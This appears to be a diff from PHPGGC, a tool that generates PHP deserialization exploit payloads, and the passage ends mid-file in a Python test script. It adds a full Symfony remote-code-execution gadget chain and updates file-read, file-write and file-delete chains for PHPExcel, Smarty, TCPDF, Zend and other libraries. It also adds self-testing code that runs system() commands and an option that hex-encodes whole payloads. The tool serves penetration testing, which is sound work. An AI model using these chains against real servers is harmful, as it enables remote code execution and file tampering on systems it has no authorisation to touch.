8 | protected $processors; | |
9 | ||
10 | function __construct($methods,$command) | |
11 | { | |
12 | $this->processors = $methods; | |
13 | $this->buffer = [$command]; | |
14 | $this->handler = $this; | |
15 | } | |
16 | } | |
17 | } |
8 | 8 | |
9 | 9 | public function generate(array $parameters) |
10 | 10 | { |
11 | $remote_file = $parameters["remote_file"]; | |
11 | $remote_path = $parameters["remote_path"]; | |
12 | 12 | |
13 | return new \PhpCsFixer\FileRemoval($remote_file); | |
13 | return new \PhpCsFixer\FileRemoval($remote_path); | |
14 | 14 | } |
15 | 15 | } |
16 | 16 |
5 | 5 | class FileRemoval |
6 | 6 | { |
7 | 7 | |
8 | function __construct($remote_file) | |
8 | function __construct($remote_path) | |
9 | 9 | { |
10 | $this->files = [$remote_file => $remote_file]; | |
10 | $this->files = [$remote_path => $remote_path]; | |
11 | 11 | |
12 | 12 | } |
13 | 13 |
9 | 9 | |
10 | 10 | public function generate(array $parameters) |
11 | 11 | { |
12 | $remote_file = $parameters["remote_file"]; | |
12 | $remote_path = $parameters["remote_path"]; | |
13 | 13 | |
14 | return new \PhpCsFixer\Linter\ProcessLinter($remote_file); | |
14 | return new \PhpCsFixer\Linter\ProcessLinter($remote_path); | |
15 | 15 | } |
16 | 16 | }⏎ |
4 | 4 | class ProcessLinter |
5 | 5 | { |
6 | 6 | |
7 | function __construct($remote_file) | |
7 | function __construct($remote_path) | |
8 | 8 | { |
9 | $this->temporaryFile = $remote_file; | |
9 | $this->temporaryFile = $remote_path; | |
10 | 10 | $this->fileRemoval = new \PhpCsFixer\FileRemoval(); |
11 | 11 | |
12 | 12 | } |
9 | 9 | |
10 | 10 | public function generate(array $parameters) |
11 | 11 | { |
12 | return new \PHPExcel_CachedObjectStorage_DiscISAM($parameters['remote_file']); | |
12 | return new \PHPExcel_CachedObjectStorage_DiscISAM($parameters['remote_path']); | |
13 | 13 | } |
14 | 14 | }⏎ |
9 | 9 | |
10 | 10 | public function generate(array $parameters) |
11 | 11 | { |
12 | return new \PHPExcel_CachedObjectStorage_DiscISAM($parameters['remote_file']); | |
12 | return new \PHPExcel_CachedObjectStorage_DiscISAM($parameters['remote_path']); | |
13 | 13 | } |
14 | 14 | }⏎ |
9 | 9 | |
10 | 10 | public function generate(array $parameters) |
11 | 11 | { |
12 | return new \PHPExcel_Shared_XMLWriter($parameters['remote_file']); | |
12 | return new \PHPExcel_Shared_XMLWriter($parameters['remote_path']); | |
13 | 13 | } |
14 | 14 | }⏎ |
9 | 9 | |
10 | 10 | public function generate(array $parameters) |
11 | 11 | { |
12 | return new \PHPExcel_Shared_XMLWriter($parameters['remote_file']); | |
12 | return new \PHPExcel_Shared_XMLWriter($parameters['remote_path']); | |
13 | 13 | } |
14 | 14 | }⏎ |
18 | 18 | { |
19 | 19 | return new \Phalcon\Logger\Adapter\File(); |
20 | 20 | } |
21 | ||
22 | public function test_setup() | |
23 | { | |
24 | throw new \PHPGGC\Exception("This GC cannot be tested."); | |
25 | } | |
21 | 26 | } |
7 | 7 | public static $vector = '__destruct'; |
8 | 8 | public static $author = 'd3adc0de'; |
9 | 9 | public static $parameters = [ |
10 | 'remote_file' | |
10 | 'remote_path' | |
11 | 11 | ]; |
12 | 12 | |
13 | 13 | public function generate(array $parameters) |
14 | 14 | { |
15 | return new \Smarty_Internal_Template($parameters['remote_file']); | |
15 | return new \Smarty_Internal_Template($parameters['remote_path']); | |
16 | 16 | } |
17 | 17 | }⏎ |
9 | 9 | |
10 | 10 | public function generate(array $parameters) |
11 | 11 | { |
12 | return new \Swift_ByteStream_TemporaryFileByteStream($parameters['remote_file']); | |
12 | return new \Swift_ByteStream_TemporaryFileByteStream($parameters['remote_path']); | |
13 | 13 | } |
14 | 14 | } |
0 | <?php | |
1 | ||
2 | namespace GadgetChain\Symfony; | |
3 | ||
4 | class RCE5 extends \PHPGGC\GadgetChain\RCE\FunctionCall | |
5 | { | |
6 | public static $version = '5.2.*'; | |
7 | public static $vector = '__destruct'; | |
8 | public static $author = 'byc_404'; | |
9 | ||
10 | public function generate(array $parameters) | |
11 | { | |
12 | $function = $parameters['function']; | |
13 | $parameter = $parameters['parameter']; | |
14 | ||
15 | ||
16 | return new \Symfony\Component\HttpKernel\DataCollector\DumpDataCollector($function, $parameter); | |
17 | } | |
18 | }⏎ |
0 | <?php | |
1 | ||
2 | namespace Symfony\Component\Cache\Adapter | |
3 | { | |
4 | class ProxyAdapter | |
5 | { | |
6 | private $createCacheItem; | |
7 | private $namespace; | |
8 | private $pool; | |
9 | ||
10 | public function __construct($createCacheItem, $pool) | |
11 | { | |
12 | $this->createCacheItem = $createCacheItem; | |
13 | $this->pool = $pool; | |
14 | $this->namespace = ''; | |
15 | } | |
16 | } | |
17 | ||
18 | ||
19 | class NullAdapter | |
20 | { | |
21 | private $createCacheItem; | |
22 | ||
23 | public function __construct($createCacheItem) | |
24 | { | |
25 | $this->createCacheItem = $createCacheItem; | |
26 | } | |
27 | } | |
28 | } | |
29 | ||
30 | namespace Symfony\Component\Console\Helper | |
31 | { | |
32 | class Dumper | |
33 | { | |
34 | private $handler; | |
35 | ||
36 | public function __construct($handler) | |
37 | { | |
38 | $this->handler = $handler; | |
39 | } | |
40 | } | |
41 | } | |
42 | ||
43 | ||
44 | namespace Symfony\Component\Cache\Traits | |
45 | { | |
46 | class RedisProxy | |
47 | { | |
48 | private $redis; | |
49 | private $initializer; | |
50 | ||
51 | public function __construct($initializer, $redis) | |
52 | { | |
53 | $this->initializer = $initializer; | |
54 | $this->redis = $redis; | |
55 | } | |
56 | } | |
57 | } | |
58 | ||
59 | namespace Symfony\Component\Form | |
60 | { | |
61 | ||
62 | class FormErrorIterator | |
63 | { | |
64 | public $form; | |
65 | private $errors; | |
66 | ||
67 | function __construct($errors, $form) | |
68 | { | |
69 | $this->errors = $errors; | |
70 | $this->form = $form; | |
71 | } | |
72 | } | |
73 | } | |
74 | ||
75 | ||
76 | namespace Symfony\Component\HttpKernel\DataCollector | |
77 | { | |
78 | class DumpDataCollector | |
79 | { | |
80 | protected $data; | |
81 | private $stopwatch; | |
82 | private $fileLinkFormat; | |
83 | private $dataCount = 0; | |
84 | private $isCollected = false; | |
85 | private $clonesCount = 0; | |
86 | private $clonesIndex = 0; | |
87 | ||
88 | public function __construct($function, $command) | |
89 | { | |
90 | $this->data = [ | |
91 | [ | |
92 | "data" => "1", | |
93 | "name" => new \Symfony\Component\Form\FormErrorIterator([ | |
94 | new \Symfony\Component\Form\FormErrorIterator( | |
95 | [], | |
96 | new \Symfony\Component\Cache\Traits\RedisProxy( | |
97 | new \Symfony\Component\Console\Helper\Dumper([ | |
98 | new \Symfony\Component\Cache\Adapter\ProxyAdapter( | |
99 | 'dd', // exit function | |
100 | new \Symfony\Component\Cache\Adapter\NullAdapter($function) | |
101 | ), | |
102 | "getItem" | |
103 | ]), | |
104 | $command | |
105 | ) | |
106 | )], | |
107 | null | |
108 | ), | |
109 | "file" => "3", | |
110 | "line" => "4" | |
111 | ], | |
112 | null, | |
113 | null | |
114 | ]; | |
115 | } | |
116 | } | |
117 | } |
13 | 13 | |
14 | 14 | public function generate(array $parameters) |
15 | 15 | { |
16 | $file = $parameters['remote_file']; | |
16 | $file = $parameters['remote_path']; | |
17 | 17 | |
18 | 18 | return new \TCPDF( |
19 | 19 | $file |
2 | 2 | class TCPDF { |
3 | 3 | protected $imagekeys; |
4 | 4 | |
5 | function __construct($remote_file) { | |
5 | function __construct($remote_path) { | |
6 | 6 | $this->imagekeys = [ |
7 | $remote_file | |
7 | $remote_path | |
8 | 8 | ]; |
9 | 9 | } |
10 | 10 | } |
7 | 7 | public static $vector = '__destruct'; |
8 | 8 | public static $author = 'mpchadwick'; |
9 | 9 | public static $parameters = [ |
10 | 'remote_file' | |
10 | 'remote_path' | |
11 | 11 | ]; |
12 | 12 | |
13 | 13 | public function generate(array $parameters) |
14 | 14 | { |
15 | $file = $parameters['remote_file']; | |
15 | $file = $parameters['remote_path']; | |
16 | 16 | |
17 | 17 | return new \Zend_Http_Response_Stream( |
18 | 18 | true, |
10 | 10 | */ |
11 | 11 | class ASCIIStrings extends Enhancement |
12 | 12 | { |
13 | public function __construct($full=false) | |
14 | { | |
15 | $this->full = $full; | |
16 | } | |
17 | ||
13 | 18 | public function process_serialized($serialized) |
14 | 19 | { |
15 | 20 | $new = ''; |
24 | 29 | ) |
25 | 30 | ) |
26 | 31 | { |
27 | ||
28 | 32 | $p_start = $matches[0][1]; |
29 | 33 | $p_start_string = $p_start + strlen($matches[0][0]); |
30 | 34 | $length = $matches[1][0]; |
31 | 35 | $p_end_string = $p_start_string + $length; |
32 | 36 | |
33 | 37 | # Check if this really is a serialized string |
38 | # This is error-prone: if a stirng contains a serialized string, | |
39 | # for instance, ... | |
34 | 40 | if(!( |
35 | 41 | strlen($serialized) > $p_end_string + 2 && |
36 | 42 | substr($serialized, $p_end_string, 2) == '";' |
46 | 52 | for($i=0; $i < strlen($string); $i++) |
47 | 53 | { |
48 | 54 | $letter = $string[$i]; |
49 | $clean_string .= ctype_print($letter) && $letter != '\\' ? | |
50 | $letter : | |
51 | sprintf("\\%02x", ord($letter)); | |
52 | ; | |
55 | if($this->full || !ctype_print($letter) || $letter == '\\') | |
56 | $letter = sprintf("\\%02x", ord($letter)); | |
57 | ||
58 | $clean_string .= $letter; | |
53 | 59 | } |
54 | 60 | |
55 | 61 | # Make the replacement |
5 | 5 | { |
6 | 6 | public static $type = self::TYPE_FD; |
7 | 7 | public static $parameters = [ |
8 | 'remote_file' | |
8 | 'remote_path' | |
9 | 9 | ]; |
10 | ||
11 | public function test_setup() | |
12 | { | |
13 | return [ | |
14 | 'remote_path' => \PHPGGC\Util::rand_file('test file delete') | |
15 | ]; | |
16 | } | |
17 | ||
18 | public function test_confirm($arguments, $output) | |
19 | { | |
20 | return !file_exists($arguments['remote_path']); | |
21 | } | |
22 | ||
23 | public function test_cleanup($arguments) | |
24 | { | |
25 | if(file_exists($arguments['remote_path'])) | |
26 | unlink($arguments['remote_path']); | |
27 | } | |
10 | 28 | }⏎ |
5 | 5 | { |
6 | 6 | public static $type = self::TYPE_FR; |
7 | 7 | public static $parameters = [ |
8 | 'remote_file' | |
8 | 'remote_path' | |
9 | 9 | ]; |
10 | ||
11 | public function test_setup() | |
12 | { | |
13 | return [ | |
14 | 'remote_path' => \PHPGGC\Util::rand_file('test file read') | |
15 | ]; | |
16 | } | |
17 | ||
18 | public function test_confirm($arguments, $output) | |
19 | { | |
20 | $expected = file_get_contents($arguments['remote_path']); | |
21 | return strpos($output, $expected) !== false; | |
22 | } | |
23 | ||
24 | public function test_cleanup($arguments) | |
25 | { | |
26 | if(file_exists($arguments['remote_path'])) | |
27 | unlink($arguments['remote_path']); | |
28 | } | |
10 | 29 | }⏎ |
19 | 19 | $parameters['data'] = file_get_contents($local_path); |
20 | 20 | return $parameters; |
21 | 21 | } |
22 | ||
23 | public function test_setup() | |
24 | { | |
25 | return [ | |
26 | 'local_path' => \PHPGGC\Util::rand_file('test file write'), | |
27 | 'remote_path' => \PHPGGC\Util::rand_path('', '.test') | |
28 | ]; | |
29 | } | |
30 | ||
31 | public function test_confirm($arguments, $output) | |
32 | { | |
33 | if(!file_exists($arguments['remote_path'])) | |
34 | return false; | |
35 | ||
36 | $expected = file_get_contents($arguments['local_path']); | |
37 | $obtained = file_get_contents($arguments['remote_path']); | |
38 | ||
39 | return strpos($obtained, $expected) !== false; | |
40 | } | |
41 | ||
42 | public function test_cleanup($arguments) | |
43 | { | |
44 | if(file_exists($arguments['remote_path'])) | |
45 | unlink($arguments['remote_path']); | |
46 | if(file_exists($arguments['local_path'])) | |
47 | unlink($arguments['local_path']); | |
48 | } | |
22 | 49 | }⏎ |
4 | 4 | abstract class PHPInfo extends \PHPGGC\GadgetChain |
5 | 5 | { |
6 | 6 | public static $type = self::TYPE_INFO; |
7 | ||
8 | public function test_setup() | |
9 | { | |
10 | return []; | |
11 | } | |
12 | ||
13 | public function test_confirm($arguments, $output) | |
14 | { | |
15 | $expected = [ | |
16 | 'phpinfo()', | |
17 | 'PHP Authors', | |
18 | 'Module Authors', | |
19 | 'PHP Variables' | |
20 | ]; | |
21 | foreach($expected as $needle) | |
22 | if(strpos($output, $needle) === false) | |
23 | return false; | |
24 | ||
25 | return true; | |
26 | } | |
7 | 27 | }⏎ |
12 | 12 | public static $parameters = [ |
13 | 13 | 'command' |
14 | 14 | ]; |
15 | ||
16 | public function test_setup() | |
17 | { | |
18 | $command = $this->_test_build_command(); | |
19 | return [ | |
20 | 'command' => $command | |
21 | ]; | |
22 | } | |
15 | 23 | }⏎ |
13 | 13 | 'function', |
14 | 14 | 'parameter' |
15 | 15 | ]; |
16 | ||
17 | public function test_setup() | |
18 | { | |
19 | $command = $this->_test_build_command(); | |
20 | return [ | |
21 | 'function' => 'system', | |
22 | 'parameter' => | |
23 | $command | |
24 | ]; | |
25 | } | |
16 | 26 | }⏎ |
12 | 12 | public static $parameters = [ |
13 | 13 | 'code' |
14 | 14 | ]; |
15 | ||
16 | public function test_setup() | |
17 | { | |
18 | # TODO file_put_contents() might be a better option here, but it'll work | |
19 | # for now. | |
20 | $command = $this->_test_build_command(); | |
21 | return [ | |
22 | 'code' => 'system(' . var_export($command, true) . ');' | |
23 | ]; | |
24 | } | |
15 | 25 | }⏎ |
6 | 6 | public static $type = self::TYPE_RCE; |
7 | 7 | # TBD by subclasses |
8 | 8 | public static $parameters = []; |
9 | ||
10 | /** | |
11 | * The result of the command is not necessarily visible. We write the output | |
12 | * to a file instead to be able to tell if the payload worked, even if | |
13 | * there's no output. | |
14 | */ | |
15 | protected function _test_build_command() | |
16 | { | |
17 | $this->__test_rand_token = sha1(rand()); | |
18 | $this->__test_rand_path = \PHPGGC\Util::rand_path(); | |
19 | return | |
20 | 'echo ' . $this->__test_rand_token . | |
21 | ' > ' . $this->__test_rand_path | |
22 | ; | |
23 | } | |
24 | ||
25 | public function test_confirm($arguments, $output) | |
26 | { | |
27 | if(!file_exists($this->__test_rand_path)) | |
28 | return false; | |
29 | $result = file_get_contents($this->__test_rand_path); | |
30 | return strpos($result, $this->__test_rand_token) !== false; | |
31 | } | |
32 | ||
33 | public function test_cleanup($arguments) | |
34 | { | |
35 | if(file_exists($this->__test_rand_path)) | |
36 | unlink($this->__test_rand_path); | |
37 | } | |
9 | 38 | }⏎ |
6 | 6 | public static $parameters = [ |
7 | 7 | 'uri' |
8 | 8 | ]; |
9 | ||
10 | public function test_setup() | |
11 | { | |
12 | throw new \PHPGGC\Exception("SSRF payloads cannot be tested."); | |
13 | } | |
14 | ||
15 | public function test_confirm($arguments, $output) | |
16 | { | |
17 | return false; | |
18 | } | |
9 | 19 | } |
10 | 20 | ?> |
7 | 7 | public static $parameters = [ |
8 | 8 | 'sql' |
9 | 9 | ]; |
10 | ||
11 | public function test_setup() | |
12 | { | |
13 | throw new \PHPGGC\Exception("SQL injection payloads cannot be tested."); | |
14 | } | |
15 | ||
16 | public function test_confirm($arguments, $output) | |
17 | { | |
18 | return false; | |
19 | } | |
10 | 20 | } |
57 | 57 | $this->load_gadgets(); |
58 | 58 | } |
59 | 59 | |
60 | /** | |
61 | * Loads the gadgets required by the chain. | |
62 | */ | |
60 | 63 | protected function load_gadgets() |
61 | 64 | { |
62 | 65 | $directory = dirname((new \ReflectionClass($this))->getFileName()); |
76 | 79 | * Modifies given parameters if required. |
77 | 80 | * Called before `generate()`. |
78 | 81 | * This is called on the gadget chain's parameters, such as for instance |
79 | * "remote_file" and "local_file" for a file write chain. | |
82 | * "remote_path" and "local_path" for a file write chain. | |
80 | 83 | * |
81 | 84 | * @param array $parameters Gadget chain parameters |
82 | 85 | * @return array Modified parameters |
155 | 158 | $class = str_replace('\\', '/', $class); |
156 | 159 | return $class; |
157 | 160 | } |
161 | ||
162 | # Test methods - Internal use only | |
163 | ||
164 | /** | |
165 | * Returns arguments that need to be used to test the gadget chain. | |
166 | * This method can also setup the testing environment, by creating a file | |
167 | * for instance. | |
168 | * | |
169 | * @return array Arguments the payload need to be generated with, as a | |
170 | * [key] => [test-value] associative array. | |
171 | */ | |
172 | abstract public function test_setup(); | |
173 | ||
174 | /** | |
175 | * Returns whether the deserialisation of the payload yielded the expected | |
176 | * results. | |
177 | * | |
178 | * @param array arguments Arguments the payload was generated with | |
179 | * @param string result Output of the test_payload.php command | |
180 | * | |
181 | * @return bool true if the payload executed successfully. | |
182 | */ | |
183 | abstract public function test_confirm($arguments, $output); | |
184 | ||
185 | /** | |
186 | * Cleans up the test environment, e.g. removes a file created by | |
187 | * test_setup(). | |
188 | * | |
189 | * @param array arguments Arguments the payload was generated with | |
190 | * | |
191 | * @return null | |
192 | */ | |
193 | public function test_cleanup($arguments) | |
194 | { | |
195 | } | |
158 | 196 | } |
0 | <?php | |
1 | ||
2 | namespace PHPGGC; | |
3 | ||
4 | /** | |
5 | * Utility functions. | |
6 | */ | |
7 | class Util | |
8 | { | |
9 | /** | |
10 | * Creates a file in the temporary directory. | |
11 | * | |
12 | * @param string $name Filename | |
13 | * @param string $contents Contents of the file | |
14 | * | |
15 | * @return string Full path to the file | |
16 | */ | |
17 | static public function temp_file($name, $contents) | |
18 | { | |
19 | $path = static::temp_path($name); | |
20 | file_put_contents($path, $contents); | |
21 | return $path; | |
22 | } | |
23 | ||
24 | /** | |
25 | * Creates a file in the temporary directory. | |
26 | * | |
27 | * @param string $contents Contents of the file | |
28 | * @param string $prefix A string to prepend to the filename | |
29 | * @param string $suffix A string to append to the filename | |
30 | * | |
31 | * @return string Full path to the file | |
32 | */ | |
33 | static public function rand_file($contents, $prefix='', $suffix='') | |
34 | { | |
35 | $path = static::rand_path($prefix, $suffix); | |
36 | file_put_contents($path, $contents); | |
37 | return $path; | |
38 | } | |
39 | ||
40 | /** | |
41 | * Returns a random temporary file path. | |
42 | * | |
43 | * @param string $prefix A string to prepend to the filename | |
44 | * @param string $suffix A string to append to the filename | |
45 | * | |
46 | * @return string Full path to the file | |
47 | */ | |
48 | static public function rand_path($prefix='', $suffix='') | |
49 | { | |
50 | return static::temp_path( | |
51 | $prefix . 'phpggc' . sha1(rand()) . $suffix | |
52 | ); | |
53 | } | |
54 | ||
55 | /** | |
56 | * Returns a temporary file path whose basename is $name | |
57 | * | |
58 | * @param string $name Name of the temporary file | |
59 | * | |
60 | * @return string Full path to the file | |
61 | */ | |
62 | static public function temp_path($name) | |
63 | { | |
64 | return sys_get_temp_dir() . DIRECTORY_SEPARATOR . $name; | |
65 | } | |
66 | }⏎ |
37 | 37 | { |
38 | 38 | global $argv; |
39 | 39 | |
40 | $parameters = $this->parse_cmdline($argv); | |
41 | ||
42 | if($parameters === null) | |
40 | $arguments = $this->parse_cmdline($argv); | |
41 | ||
42 | if($arguments === null) | |
43 | 43 | return; |
44 | 44 | |
45 | if(count($parameters) < 1) | |
45 | if(count($arguments) < 1) | |
46 | 46 | { |
47 | 47 | $this->help(); |
48 | 48 | return; |
49 | 49 | } |
50 | 50 | |
51 | $class = array_shift($parameters); | |
51 | $class = array_shift($arguments); | |
52 | 52 | $gc = $this->get_gadget_chain($class); |
53 | 53 | |
54 | 54 | $this->setup_enhancements(); |
55 | $parameters = $this->get_type_parameters($gc, $parameters); | |
56 | $generated = $this->serialize($gc, $parameters); | |
57 | 55 | |
58 | 56 | if(in_array('test-payload', $this->options)) |
59 | $this->test_payload($gc, $generated); | |
57 | { | |
58 | if(count($arguments) > 0) | |
59 | $this->o( | |
60 | "WARNING: Testing a payload ignores payload arguments." | |
61 | ); | |
62 | $this->test_payload($gc); | |
63 | } | |
60 | 64 | else |
65 | { | |
66 | $arguments = $this->get_type_arguments($gc, $arguments); | |
67 | $generated = $this->serialize($gc, $arguments); | |
61 | 68 | $this->output_payload($generated); |
62 | } | |
63 | ||
64 | /** | |
65 | * Runs generated payload using the ./template/test_payload.php script. | |
66 | * We have to use system() here, because the classes used during the | |
67 | * deserialization process are already defined by PHPGGC, and there is no | |
68 | * mechanism allowing to delete classes in PHP. Therefore, a new PHP process | |
69 | * has to be created. | |
70 | */ | |
71 | public function test_payload($gc, $payload) | |
69 | } | |
70 | } | |
71 | ||
72 | /** | |
73 | * Tests whether the payload works in the current environement. | |
74 | * PHPGGC will generate test arguments, include vendor/autoload.php, run the | |
75 | * payload, and check whether it was run successfully. | |
76 | * The script will exit with status 0 if the payload triggered, 1 otherwise. | |
77 | */ | |
78 | public function test_payload($gc) | |
72 | 79 | { |
73 | 80 | $this->o('Trying to deserialize payload...'); |
81 | $arguments = $gc->test_setup(); | |
82 | $payload = $this->serialize($gc, $arguments); | |
74 | 83 | $vector = isset($this->parameters['phar']) ? 'phar' : $gc::$vector; |
75 | system( | |
84 | ||
85 | # We have to use system() here, because the classes used during the | |
86 | # deserialization process are already defined by PHPGGC, and there is no | |
87 | # mechanism allowing to delete classes in PHP. Therefore, a new PHP process | |
88 | # has to be created. | |
89 | $output = shell_exec( | |
76 | 90 | escapeshellarg(DIR_LIB . '/test_payload.php') . ' ' . |
77 | 91 | escapeshellarg($vector) . ' ' . |
78 | 92 | escapeshellarg(base64_encode($payload)) |
79 | 93 | ); |
94 | $result = $gc->test_confirm($arguments, $output); | |
95 | ||
96 | $gc->test_cleanup($arguments); | |
97 | ||
98 | if($result) | |
99 | { | |
100 | $this->o('SUCCESS: Payload triggered !'); | |
101 | exit(0); | |
102 | } | |
103 | else | |
104 | { | |
105 | $this->o('FAILURE: Payload did not trigger !'); | |
106 | exit(1); | |
107 | } | |
80 | 108 | } |
81 | 109 | |
82 | 110 | /** |
128 | 156 | { |
129 | 157 | $enhancements = []; |
130 | 158 | |
159 | if( | |
160 | in_array('ascii-strings', $this->options) && | |
161 | in_array('armor-strings', $this->options) | |
162 | ) { | |
163 | $this->e( | |
164 | 'Both ascii-strings and armor-strings are both set but they ' . | |
165 | 'are mutually exclusive' | |
166 | ); | |
167 | } | |
168 | ||
131 | 169 | if(isset($this->parameters['wrapper'])) |
132 | 170 | $enhancements[] = new Enhancement\Wrapper($this->parameters['wrapper']); |
133 | 171 | if(in_array('fast-destruct', $this->options)) |
134 | 172 | $enhancements[] = new Enhancement\FastDestruct(); |
135 | 173 | if(in_array('ascii-strings', $this->options)) |
136 | $enhancements[] = new Enhancement\ASCIIStrings(); | |
174 | $enhancements[] = new Enhancement\ASCIIStrings(false); | |
175 | if(in_array('armor-strings', $this->options)) | |
176 | $enhancements[] = new Enhancement\ASCIIStrings(true); | |
137 | 177 | if(isset($this->parameters['plus-numbers'])) |
138 | 178 | $enhancements[] = new Enhancement\PlusNumbers( |
139 | 179 | $this->parameters['plus-numbers'] |
200 | 240 | */ |
201 | 241 | public static function autoload_register() |
202 | 242 | { |
203 | spl_autoload_register(array(static::class, 'autoload')); | |
243 | spl_autoload_register([static::class, 'autoload']); | |
204 | 244 | } |
205 | 245 | |
206 | 246 | /** |
526 | 566 | $this->o(' right after the unserialize() call, as opposed to at the end of the'); |
527 | 567 | $this->o(' script'); |
528 | 568 | $this->o(' -a, --ascii-strings'); |
529 | $this->o(' Uses the \'S\' serialization format instead of the standard \'s\'. This'); | |
530 | $this->o(' replaces every non-ASCII value to an hexadecimal representation:'); | |
531 | $this->o(' s:5:"A<null_byte>B<cr><lf>"; -> S:5:"A\\00B\\09\\0D";'); | |
569 | $this->o(' Uses the \'S\' serialization format instead of the standard \'s\' for non-printable chars.'); | |
570 | $this->o(' This replaces every non-ASCII value to an hexadecimal representation:'); | |
571 | $this->o(' s:5:"A<null_byte>B<cr><lf>"; -> S:5:"A\\00B\\09\\0D";'); | |
532 | 572 | $this->o(' This is experimental and it might not work in some cases.'); |
573 | $this->o(' -A, --armor-strings'); | |
574 | $this->o(' Uses the \'S\' serialization format instead of the standard \'s\' for every char.'); | |
575 | $this->o(' This replaces every character to an hexadecimal representation:'); | |
576 | $this->o(' s:5:"A<null_byte>B<cr><lf>"; -> S:5:"\\41\\00\\42\\09\\0D";'); | |
577 | $this->o(' This is experimental and it might not work in some cases.'); | |
578 | $this->o(' Note: Since strings grow by a factor of 3 using this option, the payload can get'); | |
579 | $this->o(' really long.'); | |
533 | 580 | $this->o(' -n, --plus-numbers <types>'); |
534 | 581 | $this->o(' Adds a + symbol in front of every number symbol of the given type.'); |
535 | 582 | $this->o(' For instance, -n iO adds a + in front of every int and object name size:'); |
536 | 583 | $this->o(' O:3:"Abc":1:{s:1:"x";i:3;} -> O:+3:"Abc":1:{s:1:"x";i:+3;}'); |
537 | 584 | $this->o(' Note: Since PHP 7.2, only i and d (float) types can have a +'); |
538 | 585 | $this->o(' -w, --wrapper <wrapper>'); |
539 | $this->o(' Specifies a file containing either or both functions:'); | |
586 | $this->o(' Specifies a file containing at least one wrapper functions:'); | |
540 | 587 | $this->o(' - process_parameters($parameters): called right before object is created'); |
541 | 588 | $this->o(' - process_object($object): called right before the payload is serialized'); |
542 | 589 | $this->o(' - process_serialized($serialized): called right after the payload is serialized'); |
552 | 599 | $this->o('CREATION'); |
553 | 600 | $this->o(' -N, --new <framework> <type>'); |
554 | 601 | $this->o(' Creates the file structure for a new gadgetchain for given framework'); |
555 | $this->o(' Example: ./phpggc -n Drupal RCE'); | |
602 | $this->o(' Example: ./phpggc -N Drupal RCE'); | |
556 | 603 | $this->o(' --test-payload'); |
557 | 604 | $this->o(' Instead of displaying or storing the payload, includes vendor/autoload.php and unserializes the payload.'); |
558 | 605 | $this->o(' The test script can only deserialize __destruct, __wakeup, __toString and PHAR payloads.'); |
610 | 657 | # Enhancements |
611 | 658 | 'fast-destruct' => false, |
612 | 659 | 'ascii-strings' => false, |
660 | 'armor-strings' => false, | |
613 | 661 | 'plus-numbers' => true, |
614 | 662 | # Encoders |
615 | 663 | 'soft' => false, |
631 | 679 | 'phar-jpeg' => 'pj', |
632 | 680 | 'phar-prefix' => 'pp', |
633 | 681 | 'phar-filename' => 'pf', |
634 | 'new' => 'N' | |
682 | 'new' => 'N', | |
683 | 'ascii-strings' => 'a', | |
684 | 'armor-strings' => 'A' | |
635 | 685 | ] + $abbreviations; |
636 | 686 | |
637 | 687 | # If we are in this function, the argument starts with a dash, so we |
783 | 833 | } |
784 | 834 | |
785 | 835 | /** |
786 | * Convert command line parameters into an array of named parameters, | |
836 | * Converts command line arguments into an array of named arguments, | |
787 | 837 | * specific to the type of payload. |
788 | 838 | */ |
789 | protected function get_type_parameters($gc, $parameters) | |
790 | { | |
791 | $arguments = $gc::$parameters; | |
792 | ||
793 | $values = @array_combine($arguments, $parameters); | |
794 | ||
795 | if($values === false) | |
839 | protected function get_type_arguments($gc, $arguments) | |
840 | { | |
841 | $keys = $gc::$parameters; | |
842 | if(count($keys) != count($arguments)) | |
796 | 843 | { |
797 | 844 | $this->o($gc, 2); |
798 | 845 | $this->e( |
800 | 847 | $this->_get_command_line_gc($gc) |
801 | 848 | ); |
802 | 849 | } |
803 | ||
804 | return $values; | |
850 | return array_combine($keys, $arguments); | |
805 | 851 | } |
806 | 852 | |
807 | 853 | protected function _get_command_line_gc($gc) |
13 | 13 | catch(\PHPGGC\Exception $e) |
14 | 14 | { |
15 | 15 | print("ERROR: " . $e->getMessage() . "\n"); |
16 | exit(1); | |
16 | 17 | } |
0 | #!/usr/bin/env python3 | |
1 | """ | |
2 | Test PHPGGC gadget chains against every version of a composer package. | |
3 | ||
4 | Usage: | |
5 | $ ./test-gc-compatibility.py <composer-package> <gadget-chain-1> [gadget-chain-2...] | |
6 | ||
7 | Example: | |
8 | $ ./test-gc-compatibility.py monolog/monolog monolog/rce1 monolog/rce3 | |
9 | ||
10 | Required executables: | |
11 | The program requires phpggc and composer. | |
12 | By default, it will use the `phpggc` from the current directory, and the | |
13 | composer from PATH. If you wish to use other paths, use the `PHPGGC_PATH` | |
14 | and `COMPOSER_PATH` environment variables. | |
15 | If a file cannot be ran straight up, we'll try using `php <file>` instead. | |
16 | ||
17 | Dependencies: | |
18 | $ pip install rich | |
19 | ||
20 | Credit goes to @M4yFly for the original idea and implementation. | |
21 | """ | |
22 | ||
23 | import subprocess | |
24 | import argparse | |
25 | import pathlib | |
26 | import os | |
27 | import re | |
28 | import tempfile | |
29 | import shutil | |
30 | ||
31 | ||
32 | try: | |
33 | from rich import print | |
34 | except ImportError: | |
35 | print('Please install the `rich` python3 package to use this program.') | |
36 | print('$ pip install rich') | |
37 | exit() | |
38 | ||
39 | ||
40 | from rich.progress import Progress | |
41 | from rich.table import Table | |
42 | ||
43 | ||
44 | class Tester: | |
45 | """Tests gadget chains against a composer package. | |
46 | """ | |
47 | _package = None | |
48 | ||
49 | def run(self): | |
50 | args = setup_arguments() | |
51 | self._cwd = os.curdir | |
52 | self._gcs = args.gadget_chain | |
53 | self._executor = Executor() | |
54 | self._package = Package(args.package, executor=self._executor) | |
55 | ||
56 | for gc in self._gcs: | |
57 | self.ensure_gc_exists(gc) | |
58 | ||
59 | versions = self._package.get_versions() | |
60 | print( | |
61 | f'Testing {len(versions)} versions for ' | |
62 | f'[blue]{self._package.name}[/blue] against ' | |
63 | f'{len(self._gcs)} gadget chains.' | |
64 | ) | |
65 | ||
66 | # We'll jump to a temporary directory for phpggc and composer to work | |
67 | # without breaking anything. | |
68 | os.chdir(self._package.work_dir) | |
69 | ||
70 | self.test_chains_on_versions(versions) | |
71 | ||
72 | def ensure_gc_exists(self, name): | |
73 | """Makes sure that a GC exists. | |
74 | """ | |
75 | if not self._executor.phpggc('-i', name): | |
76 | raise TesterException(f'Gadget chain does not exist: {name}') | |
77 | ||
78 | def test_chains_on_versions(self, versions): | |
79 | """Contains the main logic. Each version of the package will be | |
80 | installed, and each gadget chain will be tested against it. Results | |
81 | are kept in a table. | |
82 | """ | |
83 | table = Table(self._package.name) | |
84 | table.add_column('Package', justify='center') | |
